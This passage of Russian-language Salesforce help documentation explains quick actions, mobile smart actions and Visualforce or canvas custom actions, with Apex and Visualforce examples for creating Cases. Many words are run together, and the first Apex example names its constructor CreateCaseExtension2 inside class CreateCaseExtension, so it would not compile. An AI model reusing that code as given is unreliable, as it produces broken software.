приложении Salesforce1. При наличии пользователей, которым мобильная версия
Salesforce требуется чаще, чем полная версия системы, рекомендуем создать
отдельные макеты страниц и дополнить их мобильными интеллектуальными
действиями.

Мобильные интеллектуальные действия заполняются всеми обязательными полями
соответствующего объекта, независимо от их количества. Например, мобильное
интеллектуальное действие «Создать обращение» содержит все обязательные поля
обращений. Поля мобильных интеллектуальных действий недоступны для редактирования. Отображаемые поля
изменяются только при изменении набора обязательных полей объекта.

Набор мобильных интеллектуальных действий не может быть изменен, например, путем удаления действия «Создать
событие» или добавления настраиваемого действия. Чтобы создать настраиваемый набор действий, создайте нужные
действия, добавьтеих в соответствующиемакетыстраниц, а затем удалитенабормобильныхинтеллектуальныхдействий.

Мобильные интеллектуальные действия отображаются как один элемент действия в редакторе макетов страниц. Но на
панелидействийивменюдействийприложенияSalesforce1ониотображаютсякакотдельныедействиясоздания. Данные
отдельные действия позволяют пользователям создавать записи прямо на панели действий.

Ниже перечислены доступные наборы мобильных интеллектуальных действий для каждого поддерживаемого объекта.
(Действия отображаются на панели действий и в меню действий в приведенном порядке.)

Доступные действияМакет

Глобальный макет (также применяется к настраиваемым
объектам)

• Создать задачу

• Создать контакт

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать возможность

• Создать обращение

• Создать интерес

Организация • Создать задачу
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Доступные действияМакет

• Создать контакт

• Создать обращение

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать примечание

• Создать возможность

Обращение • Создать дочернее обращение

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать задачу

• Создать событие

Контакт • Создать задачу

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать обращение

• Создать примечание

• Создать событие

Интерес • Создать задачу

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать обращение

• Создать примечание

• Создать событие

Возможность • Создать задачу

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать обращение

• Создать примечание

• Создать событие

СМ. ТАКЖЕ:

Действия

Настройка действий при включенной поддержке Chatter
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Настраиваемые действия

Настраиваемые быстрые действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настраиваемые действия — это страницы Visualforce или приложения холста,
поддерживающие заданные функции. Например, создайте настраиваемое действие,
позволяющее пользователям добавлять комментарии длиною более 5 000 символов,
или настраиваемое действие, интегрирующее приложение для видеоконференций,
которое позволяет агентам службыподдержки зрительно взаимодействовать со своими
клиентами.

Объектные настраиваемые действия
Объектные настраиваемые действия — это страницы Visualforce или приложения
холста, позволяющие пользователям управлять записями или создавать записи,
связанные с записью объекта. Страница Visualforce для объектного настраиваемого
действиядолжнасодержатьстандартныйконтроллердля соответствующегообъекта.
Например, чтобы создать настраиваемое действие, позволяющее пользователям
импортировать профиль контакта из сети Twitter и добавлять данные сведения в
запись контакта, воспользуйтесь стандартным контроллером контакта.

Глобальные настраиваемые действия
Чтобысоздать глобальноенастраиваемое действие для задач, которыене требуютиспользования записей, связанных
с конкретнымобъектом, воспользуйтесь страницейVisualforceилиприложениемхолста. Приложенияхолста, которые
должныиспользоваться в качестве настраиваемых действий, должныиспользовать область «Публикатор». Страницы
Visualforce, которые должны использоваться в качестве глобальных настраиваемых действий, не могут содержать
стандартные контроллеры. Например, чтобы создать настраиваемое действие, позволяющее пользователям вводить
улицу, а также просматривать карту, локальное время и погоду, рекомендуем создать страницу Visualforce, которая не
содержит стандартных контроллеров, и добавить ее в качестве настраиваемого глобального действия.

Прим.: ГруппыChatter, содержащиеклиентов, неподдерживаютглобальныедействиясоздания, действиярегистрации
вызоваинастраиваемыедействия, поэтомуотображаюттолькостандартныедействияChatter (например, «Сообщение»,
«Файл», «Ссылка» и «Опрос»).

СМ. ТАКЖЕ:

Создание глобальных быстрых действий

Создание объектных быстрых действий

Страницы Visualforce как объектные настраиваемые действия

Предварительные требования для использования приложений холста в качестве настраиваемых действий
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Страницы Visualforce как объектные настраиваемые действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

СтраницыVisualforce, добавленныекакнастраиваемыедействиядляобъекта, вызываются
в контексте записи данного типа объекта. Настраиваемое действие использует
переданныйкодконкретнойзаписи (запись, просматриваемаяпользователемпривыборе
настраиваемого действия). Рекомендуем создать страницу для обработки данного
конкретного типа записи.

Страницы Visualforce, создаваемые для использования в качестве объектных действий,
должны содержать стандартный контроллер объекта. Рекомендуем использовать
расширения контроллера для добавления настраиваемого кода, включая методы
@RemoteAction, которыемогут вызыватьсяпосредствомудаленного вызова JavaScript.

Настраиваемыйкодможетбытьэффективнееобновленияисходнойзаписи. Например,
настраиваемое действие «Быстрое создание заказа» выполняет поиск на наличие
соответствующих товаров. Затем оно создает счет и элемент строки (в рамках создания
заказа). Данная логика применяется в контексте исходной записи организации (счет
связывается с записью организации, использованной для вызова быстрого действия).

После выполнения действия пользователь должен быть перенаправлен на страницу, связанную с исходной записью.

Пример кода ниже соответствует странице, предназначенной для использования в качестве настраиваемого действия
для объекта «Организация», поэтому содержит стандартный контроллер объекта «Организация». Данное действие
позволяетпользователямсоздаватьобращениянастраницахсведенийоборганизациях, а егопользовательскийинтерфейс
отличается от стандартных действий создания.

public with sharing class CreateCaseExtension {
private final SObject parent;
public Case theCase {get; set;}
public String lastError {get; set;}

public CreateCaseExtension2(ApexPages.StandardController controller) {
parent = controller.getRecord();
theCase = new Case();
theCase.accountId = parent.id;
lastError = '';

}

public PageReference createCase() {
createNewCase();
theCase = new Case();
theCase.accountId = parent.id;
return null;

}

private void createNewCase() {
try {

insert theCase;

FeedItem post = new FeedItem();
post.ParentId = ApexPages.currentPage().getParameters().get('id');
post.Body = 'created a case';
post.type = 'LinkPost';
post.LinkUrl = '/' + theCase.id;
post.Title = theCase.Subject;

5356

Действия, настраиваемые кнопки и ссылкиРасширение Salesforce посредством интерактивных
инструментов



insert post;
} catch(System.Exception ex){

lastError = ex.getMessage();
}

}
}

<apex:page standardcontroller="Account" extensions="CreateCaseExtension" showHeader="false">

<script type='text/javascript' src='/canvas/sdk/js/publisher.js'/>
<style>

.requiredInput .requiredBlock, .requiredBlock {background-color: white;}

.custompubblock div {display: inline-block;}

.custompublabel {width:54px;}
</style>
<script>

function refreshFeed() {
Sfdc.canvas.publisher.publish({name : 'publisher.refresh', payload :

{feed:true}});
}

</script>
<div>

<apex:form >
<apex:actionFunction action="{!createCase}" name="createCase" rerender="out"

oncomplete="refreshFeed();"/>
<apex:outputPanel id="out" >

<div class="custompubblock">
<div class="custompublabel">Account:</div><apex:inputField

value="{!theCase.accountId}"
style="margin-left:0;"/>&nbsp;&nbsp;&nbsp;

<div>Contact:&nbsp;</div><apex:inputField value="{!theCase.contactId}"
/>

</div>
<apex:inputField value="{!theCase.description}"

style="width:538px;height:92px;margin-top:4px;" />
<div class="custompubblock" style="margin-top:5px;">

<div>Status:&nbsp;</div><apex:inputField value="{!theCase.status}"
/>&nbsp;&nbsp;&nbsp;

<div>Priority:&nbsp;</div><apex:inputField value="{!theCase.priority}"
/>&nbsp;&nbsp;&nbsp;

<div>Case Origin:&nbsp;</div><apex:inputField value="{!theCase.origin}"
/>

</div>
</apex:outputPanel>

</apex:form><br/>
<button type="button" onclick="createCase();"
style="position:fixed;bottom:0px;right:0px;padding:5px 10px;
font-size:13px; font-weight:bold; line-height:
18px;background-color:#0271BF;background-image:-moz-linear-gradient(#2DADDC,

#0271BF);background-repeat:repeat-x;border-color:#096EB3;"
id="addcasebutton">Create Case</button>

</div>
</apex:page>
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Требования для обновления страниц узла

Чтобыразрешитьобъектномуилиглобальномунастраиваемомудействиюобновлениелентынастраницеузла, убедитесь,
что страница Visualforce, созданная для использования в качестве данного действия, соответствует перечисленным ниже
требованиям.

• Наличие ссылки на файл JavaScript публикатора: <script type='text/javascript'
src='/canvas/sdk/js/publisher.js'/>. (Создание настраиваемых действий Visualforce не требует наличия
пакета средств разработки программного обеспечения Force.com Canvas.)

• Наличиеданноговызова JavaScript: Sfdc.canvas.publisher.publish({name : 'publisher.refresh',
payload : {feed:true}});.

СМ. ТАКЖЕ:

Страницы Visualforce как глобальные настраиваемые действия

Создание объектных быстрых действий

Действия

Страницы Visualforce как глобальные настраиваемые действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

СтраницыVisualforce, используемыекак глобальныедействия, могут вызыватьсяразными
областями и не имеют конкретной связанной записи. Данные страницы не являются
жестко запрограммированными, поэтому позволяют пользователям создавать код
самостоятельно.

Страницы Visualforce, создаваемые для использования в качестве глобальных действий,
не могут содержать стандартный контроллер объекта. Рекомендуем создать
настраиваемый контроллер для обработки страницы.

После выполнения глобального действия пользователь должен быть перенаправленна
родительскую запись, созданную в результате применения действия, или возвращен в
исходную область.

Данный пример кода соответствует странице Visualforce, предназначенной для
использования в качестве настраиваемого действия для любого объекта,
поддерживающего действия. Данное действие позволяет пользователям создавать
обращенияна страницахсведенийозаписях, вChatter, в группахChatter (кроме группклиентов) илинаначальнойстранице.
Его пользовательский интерфейс отличается от стандартных действий создания. Подобно всем глобальным действиям,
записи, созданные посредством данного действия, не подлежат связыванию с другими записями.

<!-- Custom controller -->
public with sharing class CreateCaseController {

public Case theCase {get; set;}
public String lastError {get; set;}
public CreateCaseController() {

theCase = new Case();
lastError = '';

}

public PageReference createCase() {
createNewCase();
theCase = new Case();
return null;

}
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private void createNewCase() {
try {

insert theCase;

FeedItem post = new FeedItem();
post.ParentId = ApexPages.currentPage().getParameters().get('id');
post.Body = 'created a case';
post.type = 'LinkPost';
post.LinkUrl = '/' + theCase.id;
post.Title = theCase.Subject;
insert post;

} catch(System.Exception ex){
lastError = ex.getMessage();

}
}

}

<apex:page controller="CreateCaseController" showHeader="false">
<script type='text/javascript' src='/canvas/sdk/js/publisher.js'/>
<style>

.requiredInput .requiredBlock, .requiredBlock {background-color: white;}

.custompubblock div {display: inline-block;}

.custompublabel {width:54px;}
</style>

<script>
function refreshFeed() {

Sfdc.canvas.publisher.publish({name : 'publisher.refresh', payload : {feed:
true}});

}
</script>

<div>
<apex:form >

<apex:actionFunction action="{!createCase}" name="createCase" rerender="out"
oncomplete="refreshFeed();"/>

<apex:outputPanel id="out" >
<div class="custompubblock">

<div>Subject:&nbsp;</div><apex:inputField value="{!theCase.subject}"
style="width:500px;" />

</div>
<div class="custompubblock">

<div class="custompublabel">Account:</div><apex:inputField
value="{!theCase.accountId}"

style="margin-left:0;"/>&nbsp;&nbsp;&nbsp;
<div>Contact:&nbsp;</div><apex:inputField value="{!theCase.contactId}"

/>
</div>
<apex:inputField value="{!theCase.description}"

style="width:500px;height:92px;margin-top:4px;" />
<div class="custompubblock" style="margin-top:5px;">

<div>Status:&nbsp;</div><apex:inputField value="{!theCase.status}"
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/>&nbsp;&nbsp;&nbsp;
<div>Priority:&nbsp;</div><apex:inputField value="{!theCase.priority}"

/>&nbsp;&nbsp;&nbsp;
<div>Case Origin:&nbsp;</div><apex:inputField value="{!theCase.origin}"

/>
</div>
<div style="color:red;">{!lastError}</div>

</apex:outputPanel>
</apex:form><br/>
<button type="button" onclick="createCase();"

style="position:fixed;bottom:0px;right:0px;padding:5px 10px;
font-size:13px; font-weight:bold; line-height:
18px;background-color:#0271BF;background-image:-moz-linear-gradient(#2DADDC,

#0271BF);background-repeat:repeat-x;
border-color:#096EB3;" id="addcasebutton">Create Case</button>

</div>
</apex:page>

Требования для обновления страниц узла

Чтобыразрешитьобъектномуилиглобальномунастраиваемомудействиюобновлениелентынастраницеузла, убедитесь,
что страница Visualforce, созданная для использования в качестве данного действия, соответствует перечисленным ниже
требованиям.

• Наличие ссылки на файл JavaScript публикатора: <script type='text/javascript'
src='/canvas/sdk/js/publisher.js'/>. (Создание настраиваемых действий Visualforce не требует наличия
пакета средств разработки программного обеспечения Force.com Canvas.)

• Наличиеданноговызова JavaScript: Sfdc.canvas.publisher.publish({name : 'publisher.refresh',
payload : {feed:true}});.

СМ. ТАКЖЕ:

Страницы Visualforce как объектные настраиваемые действия

Создание глобальных быстрых действий

Действия

Скрытие заголовка действия для настраиваемых действий Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПрисозданиистраницыVisualforceдляиспользованиявкачественастраиваемогодействия
рекомендуемскрытьзаголовокдействия. Скрытиезаголовкадействияпозволяетизбежать
возможных недоразумений (особенно при наличии собственных кнопок, указанных на
странице Visualforce).

Чтобыскрытьколонтитул, добавьтестроку showQuickActionVfHeader=“false”
ктегу <apex:page> настраницеVisualforceнастраиваемогодействия. Приотображении
настраиваемого действия Visualforce в приложении Salesforce1 заголовок и кнопки
«Отмена» и «Сохранить» не отображаются. Использование данного атрибута не влияет
на порядок отображения действия в полной версии системы Salesforce.

По умолчанию атрибуту showQuickActionVfHeader задается значение true.
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Атрибут showQuickActionVfHeader не поддерживается для сообществ.

СМ. ТАКЖЕ:

Страницы Visualforce как объектные настраиваемые действия

Страницы Visualforce как глобальные настраиваемые действия

Предварительные требования для использования приложений холста в качестве настраиваемых действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Быстрые действия доступны
в версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настраиваемые действия
холста доступны в версиях:
Professional Edition (при
использовании Force.com
Canvas), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Использование приложений холста в качестве настраиваемых действий позволяет
упростить процесс предоставления пользователям доступа к функциям приложений в
Chatter и других областях Salesforce.

Системапозволяетиспользоватьвкачественастраиваемогодействиялюбоеприложение
холста, использующее область «Публикатор». Например, приложение для составления
отчетов по расходам, используемое в качестве настраиваемого действия, позволяет
торговымпредставителямотправлятьотчетыпорасходампрямоизлент. Настраиваемое
действие, содержащее приложение холста для видеоконференций, позволяет агентам
службы поддержки зрительно взаимодействовать со своими клиентами для устранения
технических неполадок.

Прежде чем создать настраиваемое действие с приложением холста, убедитесь, что
приложение использует область «Публикатор», а соответствующим пользователям
предоставлен доступ к приложению.

СМ. ТАКЖЕ:

Настраиваемые быстрые действия

Страницы Visualforce как объектные настраиваемые действия

Действия
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Настройка действий при включенной поддержке Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки действий:
• «Настройка

приложения»

Глобальные и объектные действия расширяют возможности Chatter в Salesforce Classic и
Salesforce1.

Организация должна поддерживать Chatter.

По умолчанию публикатор Chatter в Salesforce Classic отображает стандартные действия
«Сообщение», «Файл», «Ссылка», «Опрос», «Вопрос» и «Благодарность». Чтобынастроить
дополнительные действия Chatter, выполните указанные ниже действия.

1. Включите функцию отслеживания ленты для нужных объектов.

2. Включите действия в публикаторе для отображения стандартных и нестандартных
действий в публикаторе Chatter.

3. Чтобы показывать элементы ленты на странице сведений о записи при создании
связанных записей, включите обновления ленты для связанных записей.

4. Создайте объектные или глобальные действия.

5. Настройте макет действия посредством нужных полей.

6. Добавьте действия в макеты страниц или глобальные макеты публикатора.

Система Salesforce автоматически добавляет стандартные действия в макеты страниц
для организаций, обращений, контактов, интересов и возможностей, а также в
глобальный макет публикатора, используемый организациями, созданными после
выпуска Winter'14.

СМ. ТАКЖЕ:

Включение действий в публикаторе Chatter

Создание объектных быстрых действий

Настройка действий посредством редактора макетов действий
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Настройка действий при выключенной поддержке Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки действий:
• «Настройка

приложения»

При необходимости настройте объектные и глобальные действия для приложения
Salesforce1 или сторонних приложений даже при выключенной поддержке Chatter.

При выключенной поддержке Chatter панель действий приложения Salesforce1 или
сторонних приложений, использующих списки действий, отображает только
нестандартные действия. К нестандартным действиям относятся действия создания,
действияобновления, действиярегистрациивызова, настраиваемыедействияимобильные
интеллектуальные действия.

Чтобынастроить действия для использования в приложении Salesforce1или сторонних
приложениях, выполните указанные ниже действия.

1. Создайте объектные или глобальные действия.

2. Настройте макет действия посредством нужных полей.

3. Добавьте действия в макеты страниц или глобальные макеты публикатора.

Система Salesforce автоматически добавляет стандартные действия в макеты страниц
для организаций, обращений, контактов, интересов и возможностей, а также в
глобальный макет публикатора, используемый организациями, созданными после
выпуска Winter'14.

СМ. ТАКЖЕ:

Создание объектных быстрых действий

Создание глобальных быстрых действий

Настройка действий посредством редактора макетов действий

Настройка действий посредством расширенного редактора макетов страниц
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Действия при включенной и выключенной поддержке Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Быстрые действия доступны
в версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настраиваемые действия
холста доступны в версиях:
Professional Edition (при
использовании Force.com
Canvas), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система позволяет использовать действия независимо от включения Chatter или самих
действий в публикаторе.

Действия, которыедоступнынаполномсайте Salesforceилив Salesforce1, чтобывключить
или отключить Chatter в вашей организации, в меню «Настройка» введите Параметры
Chatter в поле «Быстрый поиск», затем выберитеПараметры Chatter. При
включеннойподдержкеChatterфлажок «Включить действия в публикаторе» определяет
доступность создаваемых действий в публикаторе Chatter.

Включен
Chatter,
включены
действия

Включен
Chatter,

выключены
действия

Выключен
Chatter,
включены
действия

ДаДаДаСоздание глобальных
действий и настройка
списков глобальных
действий.

ДаДаДаСоздание объектных
действий и настройка
списков объектных
действий.

ДаДа1НетОтображение действий
на начальной странице и
вкладке Chatter в полной
версиисистемыSalesforce.

Да2Да1,2НетОтображение действийв
лентахобъектоввполной
версиисистемыSalesforce.

ДаДа4Нет3Доступность панели
действий в ленте
приложения Salesforce1.

Да6Да6Да5Доступность панели
действий в
представлении записи
приложения Salesforce1.

ДаДаДа5Доступность панели
действий на страницах
Lightning приложения
Salesforce1.

Сноски:

1. Еслиподдержкадействийвпубликаторевыключена, топубликатор Chatter полнойверсиисистемы Salesforce отображает
только стандартные действия Chatter («Сообщение», «Файл», «Ссылка», «Опрос» и «Благодарность»).
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2. ЛентаChatterотображаетсяна странице сведенийобобъекте в полнойверсии системы Salesforce только для объектов,
поддерживающихфункцию отслеживания ленты.

3. Если выключена поддержка Chatter, то элемент ленты недоступен в приложении Salesforce1.

4. ЕсливключенаподдержкаChatter, новыключенаподдержкадействийвпубликаторе, то стандартныедействияChatter
и нестандартные действия видны на панели действий приложения Salesforce1 и в сторонних приложениях,
использующихэти спискидействий. Кнестандартнымдействиямотносятся действия создания, действияобновления,
действия регистрации вызова, настраиваемые действия и мобильные интеллектуальные действия.

5. Если поддержка Chatter и действий в публикаторе выключена, то панель действий приложения Salesforce1 или
стороннихприложений, использующихспискидействий, отображаеттольконестандартныедействия. Кнестандартным
действиямотносятся действия создания, действияобновления, действиярегистрациивызова, настраиваемыедействия
и мобильные интеллектуальные действия.

6. Еслиобъектнеподдерживаетфункциюотслеживанияленты, топанельдействийприложения Salesforce1исторонние
приложения, использующие списки действий, отображают только нестандартные действия. К нестандартным
действиямотносятся действия создания, действияобновления, действиярегистрациивызова, настраиваемыедействия
и мобильные интеллектуальные действия.

СМ. ТАКЖЕ:

Настройка действий при включенной поддержке Chatter

Настройка действий при выключенной поддержке Chatter

Действия

Действия в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Быстрые действия доступны
в версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настраиваемые действия
холста доступны в версиях:
Professional Edition (при
использовании Force.com
Canvas), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При использовании Lightning Experience действия отображаются в меню заголовка
«Глобальные действия», в элементах спискового представления и в некоторых областях
начальной страницы записи. Область отображения на начальной странице записи
определяется типом действия.

Действия в меню «Глобальные действия»

Вменю «Глобальные действия» отображаются наборы глобальных действийиз раздела
«Действия Salesforce1 и Lightning Experience» на макете глобального публикатора. Эти
типыглобальныхдействийподдерживаютсявменю: быстрыхдействий «Записать вызов
в журнал» и «Создать запись», которые указывают на объекты событий, записей и задач.
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Элементы меню отображаются в порядке их перечисления в разделе «Действия Salesforce1 и Lightning Experience».

Действия в элементах списковых представлений

Элементысписковыхпредставлений (кромеобъекта «Задачи») поддерживаюттолькодействия стандартныхкнопок. При
использованииобъекта «Задачи» элементысписковыхпредставленийподдерживаютполныйсписокдействий, доступных
для задач.

Действия на начальных страницах записей

Ниже приведен образец страницы контакта в Lightning Experience.

Прим.: Несмотря на другую структуру рабочих пространств, страницы возможностей и интересов используют
аналогичный способ отображения действий.
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Ниже перечислены компоненты меню действий на уровне страницы на панели основных показателей записи (1).

• Продуктивные действия

• Глобальные и объектные быстрые действия, кроме действий, связанных с созданием задач, созданием событий и
регистрацией вызовов

• Стандартные кнопки

• Настраиваемые быстрые действия Visualforce

• Настраиваемые кнопки Visualforce

• Действия холста

Порядок отображения действий в меню действий на уровне страницы соответствует порядку их отображения в разделе
«Действия Salesforce1 и Lightning Experience» макета страницы.

Прим.: Система Lightning Experience не поддерживает настраиваемые кнопки, которые вызывают JavaScript.

Вкладка действий (2) содержит действия «Записать вызов в журнал» и быстрые действия «Создать запись», которые
указывают на объекты «Событие» и «Задача». Кроме того, она содержит стандартную кнопку «Эл. почта».

Вкладка сотрудничества (3) содержит стандартные действия Chatter. По умолчанию поддерживаются только действия
«Сообщение» и «Опрос» (а такжедействие «Объявление» приналичиигрупп). Некоторыеобъектыподдерживаютдругие
стандартные действия Chatter, предопределенные системой Salesforce.

Действия со связанными списками

Связанные списки (4) содержат стандартные кнопки, которые, как правило, поддерживаются связанными списками.
Обычно это кнопка «Создать».

Первые восемь связанных списков отображают кнопки связанных списков, первые несколько записей из списка, а также
ссылку на полный список записей. В отношении дополнительных связанных списков на карточке отображается только
название списка. Пользователи могут работать с такими связанными списками — нужно простощелкнуть по названию
связанного списка, чтобы получить доступ к полному списку. Здесь пользователи могут просмотреть записи в списке и
воспользоваться кнопками связанного списка (например, «Создать») либо действиями записи строки.
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Пример: Например, раздел «ДействияSalesforce1и Lightning Experience»макета страницыконтактасодержитуказанные
ниже действия.

Аименно: быстрыедействия («Создатьорганизацию», «Создать событие», «Создать задачу»), продуктивноедействие
(«Вызов»), стандартныекнопки («Правка», «Удалить», «Клонировать», «Отправить сообщениеэл. почты») идействия
Chatter («Опрос», «Сообщение»). Нижеприведенпорядокотображенияданныхдействийнастраницезаписиконтакта
в Lightning Experience.

• Действия в меню действий на уровне страницы — это набор быстрых действий, продуктивных действий и
стандартныхкнопок, порядокотображениякоторыхопределяетсямакетомстраницы. Действия «Создатьсобытие»
и «Создать задачу» являются быстрыми, но здесь не отображаются.

• Действия Chatter, являющиеся первыми в списке действий, отображаются на вкладке сотрудничества.

• Действия типа «Эл. почта», «Создать событие» и «Создать задачу» отображаются на вкладке действий.

СМ. ТАКЖЕ:

Порядок действий в Lightning Experience

Действия
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Порядок действий в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Быстрые действия доступны
в версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настраиваемые действия
холста доступны в версиях:
Professional Edition (при
использовании Force.com
Canvas), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

В Lightning Experience действия на страницах записей определяются списком действий
в разделе «Действия Salesforce1 и Lightning Experience» макета страницы этого объекта.
Тот же раздел в макетах глобального публикатора определяет глобальные действия,
которые отображаются в меню «Глобальные действия».

Если вы не настроили раздел «Действия Salesforce1 и Lightning Experience» на макете
страницы объекта, то быстрые действия, отображаемые на страницах записи объекта,
поступают из макета глобального публикатора.

Действия в каждом разделе страницы записей сохраняют порядок их типов действий
на макете страницы.

Прим.: Изменения в разделе «Действия Salesforce1 и Lightning Experience» макета
страницы отражаются в Salesforce1 и Lightning Experience.

Меню «Глобальные действия» ( ) в заголовке Lightning Experience отображает эти
глобальные действия из раздела «Действия Salesforce1 и Lightning Experience» на макете
глобального публикатора: быстрые действия «Записать вызов в журнал» и «Создать
запись», которые указывают на объекты событий, записей и задач.

СМ. ТАКЖЕ:

Действия в Lightning Experience

Действия

Панель действий приложения Salesforce1

Пользователям Salesforce1 доступна универсальная область для поиска действий. Панель действий и связанное меню
действий отображают действия из разных областей приложения Salesforce1 в одной универсальной области.

В приложении Salesforce1 продуктивные действия, стандартные и настраиваемые кнопки записей и быстрые действия

отображаютсянапанелидействийивменюдействий ( ). Панельдействийименюдействийотображаютвседоступные
действия для выбранной страницы.
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Действия Salesforce1 на панели действий и в меню действий

Панельдействийотображается вомногихобластяхприложения, включаяленту, группы, профилипользователей, панели
мониторинга и отчеты, представления записей стандартных и настраиваемых объектов, связанные списки и результаты
поиска. Доступные действия определяются текущейобластьюприложения Salesforce1, а также некоторыминастройками
макетов страниц и макетов публикатора для организации.

Панель действий (включая меню действий) может содержать все или только некоторые указанные ниже типы действий.

• Продуктивные действия: действия «Отправка эл. почты» ( ), «Вызов» ( ), «Карта» ( ), «Просмотр веб-сайта»

( ) и «Читать новости» ( ) поддерживаются организациями, контактами, интересами, возможностями и

организациями-лицами. Действия «Быстрое сообщение» ( ), «Подключиться к конференц-связи» ( ) и «Карта»

( ) поддерживаются событиями мобильного календаря в приложении Salesforce Today.

Совет: Продуктивное действиеотображается только для записи, содержащей соответствующуюинформацию.
Например, действие «Отправкаэл. почты» доступнодлязаписи, содержащейадресэл. почты. Действие «Просмотр
веб-сайта» доступно для записи, содержащей URL-адрес веб-сайта.

• Настраиваемые и стандартные кнопки: кнопки (например, «Правка», «Удалить» или «Клонировать»), добавленные в
раздел «Кнопки» макета страницыобъекта, отображаютсявприложенииSalesforce1 в видедействийнапанелидействий
страниц записей. При отсутствии настроенного порядка отображения действий система использует порядок
отображения кнопок, применяемый в разделе «Кнопки» макета страницы. Тем не менее, место отображения кнопки
«Правка» является фиксированным.

Прим.: Настраиваемыессылки, настраиваемыекнопки, добавленныевсписковыепредставления, инастраиваемые
кнопки, определяющие источник содержимого как «URL-адрес» или «OnClick JavaScript», не
поддерживаются и не отображаются в приложении Salesforce1.

• Быстрые действия: при добавлении, удалении или изменении порядка отображения действий на панели действий в
глобальном макете публикатора или макете страницы объекта изменения отображаются в приложении Salesforce1.

• Стандартные действия Chatter: действия, доступные только в Chatter (например, «Сообщение», «Файл», «Ссылка» или
«Опрос»).
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Возможные исключения

• Влентах записейкнопка «Отслеживать»/«Отменитьотслеживание»отображается вразделе «Основное» страницы.

• В лентах общедоступных и личных групп кнопки «Присоединиться к группе» и «Запрос на присоединение»
отображаются в разделе «Основное», тогда как кнопка «Выйти из группы» отображается на панели действий.

Рекомендации по применению настраиваемого фирменного стиля

Настраиваемыйзначокможетиметь толькооднуверсию. Настраиваемыезначкидействий, созданныедовыпуска Winter'15,
такжеподдерживаются, ноотображаютсянапанелидействийусеченными. Чтобыоптимизироватьнастраиваемыезначки
действий для отображения на панели действий, воспользуйтесь рекомендациями ниже.

• Размер значка не должен превышать 72 x 72 пиксела. Не рекомендуем оставлять интервалы вокруг изображения.

• Изображение должно использовать формат PNG и прозрачныйфон, а размер файла не должен превышать 10 Кб.

• Изображение должно использовать разрешение, равное 72 точкам на дюйм.

• Изображение значка должно быть белым или светлее цвета фона.

• Рекомендуем избегать широкого использования внутренних и внешних теней.

• Рекомендуем использовать простое и однообразное оформление, соответствующее семейству значков приложения
Salesforce1.

СМ. ТАКЖЕ:

Порядок отображения предопределенных действий на панели действий приложения Salesforce1 и в действиях над
элементом списка

Порядок отображения действий на панели действий приложения Salesforce1

Действия над элементом списка в приложении Salesforce1

Рекомендации по панели действий приложения Salesforce1

Действия над элементом списка в приложении Salesforce1

Действия над элементом списка — это версия панели действий, доступная для элементов в списковых представлениях,
списках задачисвязанныхсписках записей. Данныедействияпозволяютпользователямприложения Salesforce1обновлять
записи прямо из списков — без их дополнительного открытия.

Чтобы просмотреть действия над элементом списка, выберите нужное списковое представление или список задач, либо
откройте связанныйсписокна странице связанных сведенийобъекта. Затемпроведитепальцем влевопонужной записи.
Например, воспользуемся связанным списком «Возможности» в записи организации.

Чтобы просмотреть меню действий,
содержащееполныйсписокдоступных

действий, коснитесь значка .

Чтобы просмотреть доступные
действия, проведите пальцем влево по
нужному элементу списка.

Откройте связанный список
«Возможности» в записиорганизации.
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Чтобы скрыть действия над элементом списка, проведите пальцем вправо по нужному элементу списка или коснитесь
